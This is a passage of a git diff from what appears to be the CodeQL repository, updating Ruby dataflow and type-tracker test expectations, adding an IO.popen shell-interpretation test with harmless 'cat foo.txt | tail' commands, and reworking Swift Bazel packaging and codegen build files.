+| array_flow.rb:1167:10:1167:10 | a [element 0] :  | array_flow.rb:1167:10:1167:13 | ...[...] |
 | array_flow.rb:1167:10:1167:10 | a [element] :  | array_flow.rb:1167:10:1167:13 | ...[...] |
 | array_flow.rb:1167:10:1167:10 | a [element] :  | array_flow.rb:1167:10:1167:13 | ...[...] |
 | array_flow.rb:1168:10:1168:10 | a [element] :  | array_flow.rb:1168:10:1168:13 | ...[...] |
 | array_flow.rb:1168:10:1168:10 | a [element] :  | array_flow.rb:1168:10:1168:13 | ...[...] |
+| array_flow.rb:1169:10:1169:10 | a [element 2] :  | array_flow.rb:1169:10:1169:13 | ...[...] |
+| array_flow.rb:1169:10:1169:10 | a [element 2] :  | array_flow.rb:1169:10:1169:13 | ...[...] |
 | array_flow.rb:1169:10:1169:10 | a [element] :  | array_flow.rb:1169:10:1169:13 | ...[...] |
 | array_flow.rb:1169:10:1169:10 | a [element] :  | array_flow.rb:1169:10:1169:13 | ...[...] |
 | array_flow.rb:1173:16:1173:26 | call to source :  | array_flow.rb:1174:9:1174:9 | a [element 2] :  |
@@ -3379,19 +3380,14 @@ edges
 | array_flow.rb:1611:10:1611:13 | ...[...] [element 0] :  | array_flow.rb:1611:10:1611:16 | ...[...] |
 | array_flow.rb:1611:10:1611:13 | ...[...] [element 0] :  | array_flow.rb:1611:10:1611:16 | ...[...] |
 nodes
-| array_flow.rb:2:9:2:20 | * ... :  | semmle.label | * ... :  |
 | array_flow.rb:2:9:2:20 | * ... [element 0] :  | semmle.label | * ... [element 0] :  |
 | array_flow.rb:2:9:2:20 | * ... [element 0] :  | semmle.label | * ... [element 0] :  |
 | array_flow.rb:2:10:2:20 | call to source :  | semmle.label | call to source :  |
 | array_flow.rb:2:10:2:20 | call to source :  | semmle.label | call to source :  |
-| array_flow.rb:3:10:3:10 | a :  | semmle.label | a :  |
 | array_flow.rb:3:10:3:10 | a [element 0] :  | semmle.label | a [element 0] :  |
 | array_flow.rb:3:10:3:10 | a [element 0] :  | semmle.label | a [element 0] :  |
 | array_flow.rb:3:10:3:13 | ...[...] | semmle.label | ...[...] |
 | array_flow.rb:3:10:3:13 | ...[...] | semmle.label | ...[...] |
-| array_flow.rb:4:10:4:10 | a :  | semmle.label | a :  |
-| array_flow.rb:4:10:4:13 | ...[...] | semmle.label | ...[...] |
-| array_flow.rb:5:10:5:10 | a :  | semmle.label | a :  |
 | array_flow.rb:5:10:5:10 | a [element 0] :  | semmle.label | a [element 0] :  |
 | array_flow.rb:5:10:5:10 | a [element 0] :  | semmle.label | a [element 0] :  |
 | array_flow.rb:5:10:5:13 | ...[...] | semmle.label | ...[...] |
@@ -5930,6 +5926,8 @@ nodes
 | array_flow.rb:1166:10:1166:10 | b [element] :  | semmle.label | b [element] :  |
 | array_flow.rb:1166:10:1166:13 | ...[...] | semmle.label | ...[...] |
 | array_flow.rb:1166:10:1166:13 | ...[...] | semmle.label | ...[...] |
+| array_flow.rb:1167:10:1167:10 | a [element 0] :  | semmle.label | a [element 0] :  |
+| array_flow.rb:1167:10:1167:10 | a [element 0] :  | semmle.label | a [element 0] :  |
 | array_flow.rb:1167:10:1167:10 | a [element] :  | semmle.label | a [element] :  |
 | array_flow.rb:1167:10:1167:10 | a [element] :  | semmle.label | a [element] :  |
 | array_flow.rb:1167:10:1167:13 | ...[...] | semmle.label | ...[...] |
@@ -5938,6 +5936,8 @@ nodes
 | array_flow.rb:1168:10:1168:10 | a [element] :  | semmle.label | a [element] :  |
 | array_flow.rb:1168:10:1168:13 | ...[...] | semmle.label | ...[...] |
 | array_flow.rb:1168:10:1168:13 | ...[...] | semmle.label | ...[...] |
+| array_flow.rb:1169:10:1169:10 | a [element 2] :  | semmle.label | a [element 2] :  |
+| array_flow.rb:1169:10:1169:10 | a [element 2] :  | semmle.label | a [element 2] :  |
 | array_flow.rb:1169:10:1169:10 | a [element] :  | semmle.label | a [element] :  |
 | array_flow.rb:1169:10:1169:10 | a [element] :  | semmle.label | a [element] :  |
 | array_flow.rb:1169:10:1169:13 | ...[...] | semmle.label | ...[...] |
diff --git a/ruby/ql/test/library-tests/dataflow/array-flow/array_flow.rb b/ruby/ql/test/library-tests/dataflow/array-flow/array_flow.rb
index 7f54e8d3213..2eb1886ddf9 100644
--- a/ruby/ql/test/library-tests/dataflow/array-flow/array_flow.rb
+++ b/ruby/ql/test/library-tests/dataflow/array-flow/array_flow.rb
@@ -1,7 +1,7 @@
 def m0(i)
     a = *source(0.1)
     sink(a[0]) # $ hasValueFlow=0.1
-    sink(a[1]) # $ hasTaintFlow=0.1 
+    sink(a[1])
     sink(a[i]) # $ hasValueFlow=0.1
 end
 
diff --git a/ruby/ql/test/library-tests/dataflow/summaries/Summaries.expected b/ruby/ql/test/library-tests/dataflow/summaries/Summaries.expected
index bc09f5c7140..564c23d11b0 100644
--- a/ruby/ql/test/library-tests/dataflow/summaries/Summaries.expected
+++ b/ruby/ql/test/library-tests/dataflow/summaries/Summaries.expected
@@ -62,6 +62,30 @@ edges
 | summaries.rb:60:40:60:40 | x :  | summaries.rb:61:8:61:8 | x |
 | summaries.rb:68:24:68:53 | call to source :  | summaries.rb:68:8:68:54 | call to preserveTaint |
 | summaries.rb:71:26:71:56 | call to source :  | summaries.rb:71:8:71:57 | call to preserveTaint |
+| summaries.rb:74:15:74:29 | call to source :  | summaries.rb:76:6:76:6 | a [element 1] :  |
+| summaries.rb:74:15:74:29 | call to source :  | summaries.rb:76:6:76:6 | a [element 1] :  |
+| summaries.rb:74:15:74:29 | call to source :  | summaries.rb:78:5:78:5 | a [element 1] :  |
+| summaries.rb:74:15:74:29 | call to source :  | summaries.rb:78:5:78:5 | a [element 1] :  |
+| summaries.rb:74:32:74:46 | call to source :  | summaries.rb:77:6:77:6 | a [element 2] :  |
+| summaries.rb:74:32:74:46 | call to source :  | summaries.rb:77:6:77:6 | a [element 2] :  |
+| summaries.rb:74:32:74:46 | call to source :  | summaries.rb:82:1:82:1 | a [element 2] :  |
+| summaries.rb:74:32:74:46 | call to source :  | summaries.rb:82:1:82:1 | a [element 2] :  |
+| summaries.rb:76:6:76:6 | a [element 1] :  | summaries.rb:76:6:76:9 | ...[...] |
+| summaries.rb:76:6:76:6 | a [element 1] :  | summaries.rb:76:6:76:9 | ...[...] |
+| summaries.rb:77:6:77:6 | a [element 2] :  | summaries.rb:77:6:77:9 | ...[...] |
+| summaries.rb:77:6:77:6 | a [element 2] :  | summaries.rb:77:6:77:9 | ...[...] |
+| summaries.rb:78:5:78:5 | a [element 1] :  | summaries.rb:78:5:78:22 | call to withElementOne [element 1] :  |
+| summaries.rb:78:5:78:5 | a [element 1] :  | summaries.rb:78:5:78:22 | call to withElementOne [element 1] :  |
+| summaries.rb:78:5:78:22 | call to withElementOne [element 1] :  | summaries.rb:80:6:80:6 | b [element 1] :  |
+| summaries.rb:78:5:78:22 | call to withElementOne [element 1] :  | summaries.rb:80:6:80:6 | b [element 1] :  |
+| summaries.rb:80:6:80:6 | b [element 1] :  | summaries.rb:80:6:80:9 | ...[...] |
+| summaries.rb:80:6:80:6 | b [element 1] :  | summaries.rb:80:6:80:9 | ...[...] |
+| summaries.rb:82:1:82:1 | [post] a [element 2] :  | summaries.rb:85:6:85:6 | a [element 2] :  |
+| summaries.rb:82:1:82:1 | [post] a [element 2] :  | summaries.rb:85:6:85:6 | a [element 2] :  |
+| summaries.rb:82:1:82:1 | a [element 2] :  | summaries.rb:82:1:82:1 | [post] a [element 2] :  |
+| summaries.rb:82:1:82:1 | a [element 2] :  | summaries.rb:82:1:82:1 | [post] a [element 2] :  |
+| summaries.rb:85:6:85:6 | a [element 2] :  | summaries.rb:85:6:85:9 | ...[...] |
+| summaries.rb:85:6:85:6 | a [element 2] :  | summaries.rb:85:6:85:9 | ...[...] |
 nodes
 | summaries.rb:1:11:1:36 | call to identity :  | semmle.label | call to identity :  |
 | summaries.rb:1:11:1:36 | call to identity :  | semmle.label | call to identity :  |
@@ -131,6 +155,34 @@ nodes
 | summaries.rb:68:24:68:53 | call to source :  | semmle.label | call to source :  |
 | summaries.rb:71:8:71:57 | call to preserveTaint | semmle.label | call to preserveTaint |
 | summaries.rb:71:26:71:56 | call to source :  | semmle.label | call to source :  |
+| summaries.rb:74:15:74:29 | call to source :  | semmle.label | call to source :  |
+| summaries.rb:74:15:74:29 | call to source :  | semmle.label | call to source :  |
+| summaries.rb:74:32:74:46 | call to source :  | semmle.label | call to source :  |
+| summaries.rb:74:32:74:46 | call to source :  | semmle.label | call to source :  |
+| summaries.rb:76:6:76:6 | a [element 1] :  | semmle.label | a [element 1] :  |
+| summaries.rb:76:6:76:6 | a [element 1] :  | semmle.label | a [element 1] :  |
+| summaries.rb:76:6:76:9 | ...[...] | semmle.label | ...[...] |
+| summaries.rb:76:6:76:9 | ...[...] | semmle.label | ...[...] |
+| summaries.rb:77:6:77:6 | a [element 2] :  | semmle.label | a [element 2] :  |
+| summaries.rb:77:6:77:6 | a [element 2] :  | semmle.label | a [element 2] :  |
+| summaries.rb:77:6:77:9 | ...[...] | semmle.label | ...[...] |
+| summaries.rb:77:6:77:9 | ...[...] | semmle.label | ...[...] |
+| summaries.rb:78:5:78:5 | a [element 1] :  | semmle.label | a [element 1] :  |
+| summaries.rb:78:5:78:5 | a [element 1] :  | semmle.label | a [element 1] :  |
+| summaries.rb:78:5:78:22 | call to withElementOne [element 1] :  | semmle.label | call to withElementOne [element 1] :  |
+| summaries.rb:78:5:78:22 | call to withElementOne [element 1] :  | semmle.label | call to withElementOne [element 1] :  |
+| summaries.rb:80:6:80:6 | b [element 1] :  | semmle.label | b [element 1] :  |
+| summaries.rb:80:6:80:6 | b [element 1] :  | semmle.label | b [element 1] :  |
+| summaries.rb:80:6:80:9 | ...[...] | semmle.label | ...[...] |
+| summaries.rb:80:6:80:9 | ...[...] | semmle.label | ...[...] |
+| summaries.rb:82:1:82:1 | [post] a [element 2] :  | semmle.label | [post] a [element 2] :  |
+| summaries.rb:82:1:82:1 | [post] a [element 2] :  | semmle.label | [post] a [element 2] :  |
+| summaries.rb:82:1:82:1 | a [element 2] :  | semmle.label | a [element 2] :  |
+| summaries.rb:82:1:82:1 | a [element 2] :  | semmle.label | a [element 2] :  |
+| summaries.rb:85:6:85:6 | a [element 2] :  | semmle.label | a [element 2] :  |
+| summaries.rb:85:6:85:6 | a [element 2] :  | semmle.label | a [element 2] :  |
+| summaries.rb:85:6:85:9 | ...[...] | semmle.label | ...[...] |
+| summaries.rb:85:6:85:9 | ...[...] | semmle.label | ...[...] |
 subpaths
 invalidSpecComponent
 #select
@@ -167,6 +219,14 @@ invalidSpecComponent
 | summaries.rb:61:8:61:8 | x | summaries.rb:1:20:1:36 | call to source :  | summaries.rb:61:8:61:8 | x | $@ | summaries.rb:1:20:1:36 | call to source :  | call to source :  |
 | summaries.rb:68:8:68:54 | call to preserveTaint | summaries.rb:68:24:68:53 | call to source :  | summaries.rb:68:8:68:54 | call to preserveTaint | $@ | summaries.rb:68:24:68:53 | call to source :  | call to source :  |
 | summaries.rb:71:8:71:57 | call to preserveTaint | summaries.rb:71:26:71:56 | call to source :  | summaries.rb:71:8:71:57 | call to preserveTaint | $@ | summaries.rb:71:26:71:56 | call to source :  | call to source :  |
+| summaries.rb:76:6:76:9 | ...[...] | summaries.rb:74:15:74:29 | call to source :  | summaries.rb:76:6:76:9 | ...[...] | $@ | summaries.rb:74:15:74:29 | call to source :  | call to source :  |
+| summaries.rb:76:6:76:9 | ...[...] | summaries.rb:74:15:74:29 | call to source :  | summaries.rb:76:6:76:9 | ...[...] | $@ | summaries.rb:74:15:74:29 | call to source :  | call to source :  |
+| summaries.rb:77:6:77:9 | ...[...] | summaries.rb:74:32:74:46 | call to source :  | summaries.rb:77:6:77:9 | ...[...] | $@ | summaries.rb:74:32:74:46 | call to source :  | call to source :  |
+| summaries.rb:77:6:77:9 | ...[...] | summaries.rb:74:32:74:46 | call to source :  | summaries.rb:77:6:77:9 | ...[...] | $@ | summaries.rb:74:32:74:46 | call to source :  | call to source :  |
+| summaries.rb:80:6:80:9 | ...[...] | summaries.rb:74:15:74:29 | call to source :  | summaries.rb:80:6:80:9 | ...[...] | $@ | summaries.rb:74:15:74:29 | call to source :  | call to source :  |
+| summaries.rb:80:6:80:9 | ...[...] | summaries.rb:74:15:74:29 | call to source :  | summaries.rb:80:6:80:9 | ...[...] | $@ | summaries.rb:74:15:74:29 | call to source :  | call to source :  |
+| summaries.rb:85:6:85:9 | ...[...] | summaries.rb:74:32:74:46 | call to source :  | summaries.rb:85:6:85:9 | ...[...] | $@ | summaries.rb:74:32:74:46 | call to source :  | call to source :  |
+| summaries.rb:85:6:85:9 | ...[...] | summaries.rb:74:32:74:46 | call to source :  | summaries.rb:85:6:85:9 | ...[...] | $@ | summaries.rb:74:32:74:46 | call to source :  | call to source :  |
 warning
 | CSV type row should have 5 columns but has 2: test;TooFewColumns |
 | CSV type row should have 5 columns but has 8: test;TooManyColumns;;;Member[Foo].Instance;too;many;columns |
diff --git a/ruby/ql/test/library-tests/dataflow/summaries/Summaries.ql b/ruby/ql/test/library-tests/dataflow/summaries/Summaries.ql
index de6a458f21f..189403547d9 100644
--- a/ruby/ql/test/library-tests/dataflow/summaries/Summaries.ql
+++ b/ruby/ql/test/library-tests/dataflow/summaries/Summaries.ql
@@ -80,6 +80,8 @@ private class StepsFromModel extends ModelInput::SummaryModelCsv {
         ";;Member[Foo].Method[startInNamedParameter].Argument[0].Parameter[foo:].Method[preserveTaint];Argument[0];ReturnValue;taint",
         ";any;Method[matchedByName];Argument[0];ReturnValue;taint",
         ";any;Method[matchedByNameRcv];Argument[self];ReturnValue;taint",
+        ";any;Method[withElementOne];Argument[self].WithElement[1];ReturnValue;value",
+        ";any;Method[withoutElementOne];Argument[self].WithoutElement[1];Argument[self];value",
       ]
   }
 }
diff --git a/ruby/ql/test/library-tests/dataflow/summaries/summaries.rb b/ruby/ql/test/library-tests/dataflow/summaries/summaries.rb
index b553ba3e892..c3b8bec1d01 100644
--- a/ruby/ql/test/library-tests/dataflow/summaries/summaries.rb
+++ b/ruby/ql/test/library-tests/dataflow/summaries/summaries.rb
@@ -70,3 +70,16 @@ Foo.startInNamedCallback(foo: ->(x) {
 Foo.startInNamedParameter(->(foo:) {
   sink(foo.preserveTaint(source("startInNamedParameter"))) # $ hasTaintFlow=startInNamedParameter
 })
+
+a = ["elem0", source("elem1"), source("elem2")]
+sink(a[0])
+sink(a[1]) # $ hasValueFlow=elem1
+sink(a[2]) # $ hasValueFlow=elem2
+b = a.withElementOne()
+sink(b[0])
+sink(b[1]) # $ hasValueFlow=elem1
+sink(b[2])
+a.withoutElementOne()
+sink(a[0])
+sink(a[1])
+sink(a[2]) # $ hasValueFlow=elem2
\ No newline at end of file
diff --git a/ruby/ql/test/library-tests/dataflow/type-tracker/TypeTracker.expected b/ruby/ql/test/library-tests/dataflow/type-tracker/TypeTracker.expected
index 3c77ddc8b02..efbf76dfc76 100644
--- a/ruby/ql/test/library-tests/dataflow/type-tracker/TypeTracker.expected
+++ b/ruby/ql/test/library-tests/dataflow/type-tracker/TypeTracker.expected
@@ -43,10 +43,6 @@ track
 | type_tracker.rb:12:1:16:3 | self in m | type tracker with call steps | type_tracker.rb:12:1:16:3 | self (m) |
 | type_tracker.rb:12:1:16:3 | self in m | type tracker without call steps | type_tracker.rb:12:1:16:3 | self in m |
 | type_tracker.rb:13:5:13:7 | var | type tracker without call steps | type_tracker.rb:13:5:13:7 | var |
-| type_tracker.rb:13:5:13:23 | ... = ... | type tracker with call steps | type_tracker.rb:2:5:5:7 | self (field=) |
-| type_tracker.rb:13:5:13:23 | ... = ... | type tracker with call steps | type_tracker.rb:2:5:5:7 | self in field= |
-| type_tracker.rb:13:5:13:23 | ... = ... | type tracker with call steps | type_tracker.rb:7:5:9:7 | self in field |
-| type_tracker.rb:13:5:13:23 | ... = ... | type tracker without call steps | type_tracker.rb:13:5:13:23 | ... = ... |
 | type_tracker.rb:13:11:13:19 | Container | type tracker without call steps | type_tracker.rb:13:11:13:19 | Container |
 | type_tracker.rb:13:11:13:19 | [post] Container | type tracker without call steps | type_tracker.rb:13:11:13:19 | [post] Container |
 | type_tracker.rb:13:11:13:23 | call to new | type tracker with call steps | type_tracker.rb:2:5:5:7 | self (field=) |
@@ -63,7 +59,6 @@ track
 | type_tracker.rb:14:17:14:23 | "hello" | type tracker without call steps | type_tracker.rb:14:17:14:23 | "hello" |
 | type_tracker.rb:14:17:14:23 | "hello" | type tracker without call steps | type_tracker.rb:15:10:15:18 | call to field |
 | type_tracker.rb:14:17:14:23 | "hello" | type tracker without call steps with content field | type_tracker.rb:14:5:14:7 | [post] var |
-| type_tracker.rb:14:17:14:23 | ... = ... | type tracker without call steps | type_tracker.rb:14:17:14:23 | ... = ... |
 | type_tracker.rb:14:17:14:23 | [post] ... = ... | type tracker without call steps | type_tracker.rb:14:17:14:23 | [post] ... = ... |
 | type_tracker.rb:14:17:14:23 | __synth__0 | type tracker without call steps | type_tracker.rb:14:17:14:23 | __synth__0 |
 | type_tracker.rb:15:5:15:18 | [post] self | type tracker without call steps | type_tracker.rb:15:5:15:18 | [post] self |
@@ -245,14 +240,6 @@ trackEnd
 | type_tracker.rb:12:1:16:3 | self in m | type_tracker.rb:12:1:16:3 | self in m |
 | type_tracker.rb:12:1:16:3 | self in m | type_tracker.rb:15:5:15:18 | self |
 | type_tracker.rb:13:5:13:7 | var | type_tracker.rb:13:5:13:7 | var |
-| type_tracker.rb:13:5:13:23 | ... = ... | type_tracker.rb:2:5:5:7 | self (field=) |
-| type_tracker.rb:13:5:13:23 | ... = ... | type_tracker.rb:2:5:5:7 | self in field= |
-| type_tracker.rb:13:5:13:23 | ... = ... | type_tracker.rb:3:9:3:23 | self |
-| type_tracker.rb:13:5:13:23 | ... = ... | type_tracker.rb:3:14:3:17 | self |
-| type_tracker.rb:13:5:13:23 | ... = ... | type_tracker.rb:7:5:9:7 | self in field |
-| type_tracker.rb:13:5:13:23 | ... = ... | type_tracker.rb:13:5:13:23 | ... = ... |
-| type_tracker.rb:13:5:13:23 | ... = ... | type_tracker.rb:14:5:14:7 | var |
-| type_tracker.rb:13:5:13:23 | ... = ... | type_tracker.rb:15:10:15:12 | var |
 | type_tracker.rb:13:11:13:19 | Container | type_tracker.rb:13:11:13:19 | Container |
 | type_tracker.rb:13:11:13:19 | [post] Container | type_tracker.rb:13:11:13:19 | [post] Container |
 | type_tracker.rb:13:11:13:23 | call to new | type_tracker.rb:2:5:5:7 | self (field=) |
@@ -280,9 +267,6 @@ trackEnd
 | type_tracker.rb:14:17:14:23 | "hello" | type_tracker.rb:14:17:14:23 | ... = ... |
 | type_tracker.rb:14:17:14:23 | "hello" | type_tracker.rb:14:17:14:23 | ... = ... |
 | type_tracker.rb:14:17:14:23 | "hello" | type_tracker.rb:15:10:15:18 | call to field |
-| type_tracker.rb:14:17:14:23 | ... = ... | type_tracker.rb:14:5:14:13 | __synth__0 |
-| type_tracker.rb:14:17:14:23 | ... = ... | type_tracker.rb:14:5:14:23 | ... |
-| type_tracker.rb:14:17:14:23 | ... = ... | type_tracker.rb:14:17:14:23 | ... = ... |
 | type_tracker.rb:14:17:14:23 | [post] ... = ... | type_tracker.rb:14:17:14:23 | [post] ... = ... |
 | type_tracker.rb:14:17:14:23 | __synth__0 | type_tracker.rb:14:17:14:23 | __synth__0 |
 | type_tracker.rb:15:5:15:18 | [post] self | type_tracker.rb:15:5:15:18 | [post] self |
diff --git a/ruby/ql/test/library-tests/frameworks/core/IO.expected b/ruby/ql/test/library-tests/frameworks/core/IO.expected
new file mode 100644
index 00000000000..dd2c2bb520c
--- /dev/null
+++ b/ruby/ql/test/library-tests/frameworks/core/IO.expected
@@ -0,0 +1,55 @@
+ioPOpenCalls
+| IO.rb:1:1:1:30 | call to popen |
+| IO.rb:2:1:2:53 | call to popen |
+| IO.rb:3:1:3:67 | call to popen |
+| IO.rb:5:1:5:28 | call to popen |
+| IO.rb:6:1:6:51 | call to popen |
+| IO.rb:7:1:7:65 | call to popen |
+| IO.rb:9:1:9:39 | call to popen |
+| IO.rb:10:1:10:62 | call to popen |
+| IO.rb:11:1:11:76 | call to popen |
+| IO.rb:12:1:12:76 | call to popen |
+| IO.rb:14:1:14:13 | call to popen |
+| IO.rb:15:1:15:36 | call to popen |
+| IO.rb:16:1:16:50 | call to popen |
+| IO.rb:19:1:19:13 | call to popen |
+| IO.rb:20:1:20:36 | call to popen |
+| IO.rb:21:1:21:50 | call to popen |
+| IO.rb:24:1:24:13 | call to popen |
+| IO.rb:25:1:25:36 | call to popen |
+| IO.rb:26:1:26:50 | call to popen |
+| IO.rb:29:1:29:13 | call to popen |
+| IO.rb:30:1:30:36 | call to popen |
+| IO.rb:31:1:31:50 | call to popen |
+| IO.rb:34:3:34:15 | call to popen |
+ioPOpenCallArguments
+| IO.rb:1:1:1:30 | call to popen | true | IO.rb:1:10:1:29 | "cat foo.txt \| tail" |
+| IO.rb:2:1:2:53 | call to popen | true | IO.rb:2:33:2:52 | "cat foo.txt \| tail" |
+| IO.rb:3:1:3:67 | call to popen | true | IO.rb:3:33:3:52 | "cat foo.txt \| tail" |
+| IO.rb:5:1:5:28 | call to popen | false | IO.rb:5:11:5:15 | "cat" |
+| IO.rb:5:1:5:28 | call to popen | false | IO.rb:5:18:5:26 | "foo.txt" |
+| IO.rb:6:1:6:51 | call to popen | false | IO.rb:6:34:6:38 | "cat" |
+| IO.rb:6:1:6:51 | call to popen | false | IO.rb:6:41:6:49 | "foo.txt" |
+| IO.rb:7:1:7:65 | call to popen | false | IO.rb:7:34:7:38 | "cat" |
+| IO.rb:7:1:7:65 | call to popen | false | IO.rb:7:41:7:49 | "foo.txt" |
+| IO.rb:9:1:9:39 | call to popen | false | IO.rb:9:12:9:16 | "cat" |
+| IO.rb:9:1:9:39 | call to popen | false | IO.rb:9:29:9:37 | "foo.txt" |
+| IO.rb:10:1:10:62 | call to popen | false | IO.rb:10:35:10:39 | "cat" |
+| IO.rb:10:1:10:62 | call to popen | false | IO.rb:10:52:10:60 | "foo.txt" |
+| IO.rb:11:1:11:76 | call to popen | false | IO.rb:11:35:11:39 | "cat" |
+| IO.rb:11:1:11:76 | call to popen | false | IO.rb:11:52:11:60 | "foo.txt" |
+| IO.rb:12:1:12:76 | call to popen | false | IO.rb:12:35:12:39 | "cat" |
+| IO.rb:12:1:12:76 | call to popen | false | IO.rb:12:52:12:60 | "foo.txt" |
+| IO.rb:14:1:14:13 | call to popen | false | IO.rb:14:10:14:12 | "-" |
+| IO.rb:15:1:15:36 | call to popen | false | IO.rb:15:33:15:35 | "-" |
+| IO.rb:16:1:16:50 | call to popen | false | IO.rb:16:33:16:35 | "-" |
+| IO.rb:19:1:19:13 | call to popen | true | IO.rb:19:10:19:12 | cmd |
+| IO.rb:20:1:20:36 | call to popen | true | IO.rb:20:33:20:35 | cmd |
+| IO.rb:21:1:21:50 | call to popen | true | IO.rb:21:33:21:35 | cmd |
+| IO.rb:24:1:24:13 | call to popen | true | IO.rb:24:10:24:12 | cmd |
+| IO.rb:25:1:25:36 | call to popen | true | IO.rb:25:33:25:35 | cmd |
+| IO.rb:26:1:26:50 | call to popen | true | IO.rb:26:33:26:35 | cmd |
+| IO.rb:29:1:29:13 | call to popen | true | IO.rb:29:10:29:12 | cmd |
+| IO.rb:30:1:30:36 | call to popen | true | IO.rb:30:33:30:35 | cmd |
+| IO.rb:31:1:31:50 | call to popen | true | IO.rb:31:33:31:35 | cmd |
+| IO.rb:34:3:34:15 | call to popen | true | IO.rb:34:12:34:14 | cmd |
diff --git a/ruby/ql/test/library-tests/frameworks/core/IO.ql b/ruby/ql/test/library-tests/frameworks/core/IO.ql
new file mode 100644
index 00000000000..3482ea03ea5
--- /dev/null
+++ b/ruby/ql/test/library-tests/frameworks/core/IO.ql
@@ -0,0 +1,9 @@
+import codeql.ruby.frameworks.core.IO::IO
+import codeql.ruby.DataFlow
+
+query predicate ioPOpenCalls(POpenCall c) { any() }
+
+query DataFlow::Node ioPOpenCallArguments(POpenCall c, boolean shellInterpreted) {
+  result = c.getAnArgument() and
+  if c.isShellInterpreted(result) then shellInterpreted = true else shellInterpreted = false
+}
diff --git a/ruby/ql/test/library-tests/frameworks/core/IO.rb b/ruby/ql/test/library-tests/frameworks/core/IO.rb
new file mode 100644
index 00000000000..5516624d770
--- /dev/null
+++ b/ruby/ql/test/library-tests/frameworks/core/IO.rb
@@ -0,0 +1,38 @@
+IO.popen("cat foo.txt | tail")
+IO.popen({some_env_var: "123"}, "cat foo.txt | tail")
+IO.popen({some_env_var: "123"}, "cat foo.txt | tail", {some: :opt})
+
+IO.popen(["cat", "foo.txt"])
+IO.popen([{some_env_var: "123"}, "cat", "foo.txt"])
+IO.popen([{some_env_var: "123"}, "cat", "foo.txt"], {some: :opt})
+
+IO.popen([["cat", "argv0"], "foo.txt"])
+IO.popen([{some_env_var: "123"}, ["cat", "argv0"], "foo.txt"])
+IO.popen([{some_env_var: "123"}, ["cat", "argv0"], "foo.txt"], {some: :opt})
+IO.popen({some_env_var: "123"}, [["cat", "argv0"], "foo.txt"], {some: :opt})
+
+IO.popen("-")
+IO.popen({some_env_var: "123"}, "-")
+IO.popen({some_env_var: "123"}, "-", {some: :opt})
+
+cmd = "cat foo.txt | tail"
+IO.popen(cmd)
+IO.popen({some_env_var: "123"}, cmd)
+IO.popen({some_env_var: "123"}, cmd, {some: :opt})
+
+cmd = ["cat", "foo.txt"]
+IO.popen(cmd)
+IO.popen({some_env_var: "123"}, cmd)
+IO.popen({some_env_var: "123"}, cmd, {some: :opt})
+
+cmd = [["cat", "argv0"], "foo.txt"]
+IO.popen(cmd)
+IO.popen({some_env_var: "123"}, cmd)
+IO.popen({some_env_var: "123"}, cmd, {some: :opt})
+
+def popen(cmd)
+  IO.popen(cmd)
+end
+
+popen("cat foo.txt | tail")
+popen(["cat", "foo.txt"])
\ No newline at end of file
diff --git a/ruby/ql/test/library-tests/frameworks/files/Files.ql b/ruby/ql/test/library-tests/frameworks/files/Files.ql
index 9c4d3c90855..7c43e54a9bb 100644
--- a/ruby/ql/test/library-tests/frameworks/files/Files.ql
+++ b/ruby/ql/test/library-tests/frameworks/files/Files.ql
@@ -1,5 +1,6 @@
 private import ruby
 private import codeql.ruby.frameworks.Files
+private import codeql.ruby.frameworks.core.IO
 private import codeql.ruby.Concepts
 
 query predicate fileInstances(File::FileInstance i) { any() }
diff --git a/ruby/ql/test/library-tests/variables/parameter.expected b/ruby/ql/test/library-tests/variables/parameter.expected
index cd3a257a821..292ae665964 100644
--- a/ruby/ql/test/library-tests/variables/parameter.expected
+++ b/ruby/ql/test/library-tests/variables/parameter.expected
@@ -1,11 +1,9 @@
 parameterVariable
 | nested_scopes.rb:15:23:15:23 | a | nested_scopes.rb:15:23:15:23 | a |
 | nested_scopes.rb:16:26:16:26 | x | nested_scopes.rb:16:26:16:26 | x |
-| nested_scopes.rb:16:29:16:29 | a | nested_scopes.rb:16:29:16:29 | a |
 | nested_scopes.rb:18:26:18:26 | x | nested_scopes.rb:18:26:18:26 | x |
 | nested_scopes.rb:22:21:22:21 | a | nested_scopes.rb:22:21:22:21 | a |
 | parameters.rb:1:14:1:14 | x | parameters.rb:1:14:1:14 | x |
-| parameters.rb:1:18:1:18 | y | parameters.rb:1:18:1:18 | y |
 | parameters.rb:7:17:7:22 | client | parameters.rb:7:17:7:22 | client |
 | parameters.rb:7:25:7:31 | *pizzas | parameters.rb:7:26:7:31 | pizzas |
 | parameters.rb:15:15:15:19 | **map | parameters.rb:15:17:15:19 | map |
diff --git a/swift/BUILD.bazel b/swift/BUILD.bazel
index 91779d830d8..ef95c3c006f 100644
--- a/swift/BUILD.bazel
+++ b/swift/BUILD.bazel
@@ -1,6 +1,7 @@
 load("@rules_pkg//:mappings.bzl", "pkg_attributes", "pkg_filegroup", "pkg_files", "strip_prefix")
 load("@rules_pkg//:install.bzl", "pkg_install")
 load("//:defs.bzl", "codeql_platform")
+load("//misc/bazel:pkg_runfiles.bzl", "pkg_runfiles")
 
 filegroup(
     name = "dbscheme",
@@ -45,24 +46,15 @@ pkg_filegroup(
     visibility = ["//visibility:public"],
 )
 
-pkg_files(
+pkg_runfiles(
     name = "extractor",
     srcs = ["//swift/extractor"],
-    attributes = pkg_attributes(mode = "0755"),
     prefix = "tools/" + codeql_platform,
 )
 
-alias(
-    name = "swift-test-sdk",
-    actual = select({
-        "@bazel_tools//src/conditions:%s" % arch: "@swift_prebuilt_%s//:swift-test-sdk" % arch
-        for arch in ("linux", "darwin_x86_64", "darwin_arm64")
-    }),
-)
-
 pkg_files(
     name = "swift-test-sdk-arch",
-    srcs = [":swift-test-sdk"],
+    srcs = ["//swift/tools/prebuilt:swift-test-sdk"],
     prefix = "qltest/" + codeql_platform,
     strip_prefix = strip_prefix.from_pkg(),
 )
diff --git a/swift/README.md b/swift/README.md
index 8faafd30683..f81ad623387 100644
--- a/swift/README.md
+++ b/swift/README.md
@@ -19,12 +19,6 @@ Notice you can run `bazel run :create-extractor-pack` if you already are in the
 
 ## Code generation
 
-Make sure to install the [pip requirements](./codegen/requirements.txt) via
-
-```bash
-python3 -m pip install -r codegen/requirements.txt
-```
-
 Run
 
 ```bash
diff --git a/swift/codegen/BUILD.bazel b/swift/codegen/BUILD.bazel
index 340cc9d678d..9e32994dc1b 100644
--- a/swift/codegen/BUILD.bazel
+++ b/swift/codegen/BUILD.bazel
@@ -1,6 +1,23 @@
+load("@swift_codegen_deps//:requirements.bzl", "requirement")
+
+filegroup(
+    name = "schema",
+    srcs = ["schema.yml"],
+    visibility = ["//swift:__subpackages__"],
+)
+
+filegroup(
+    name = "schema_includes",
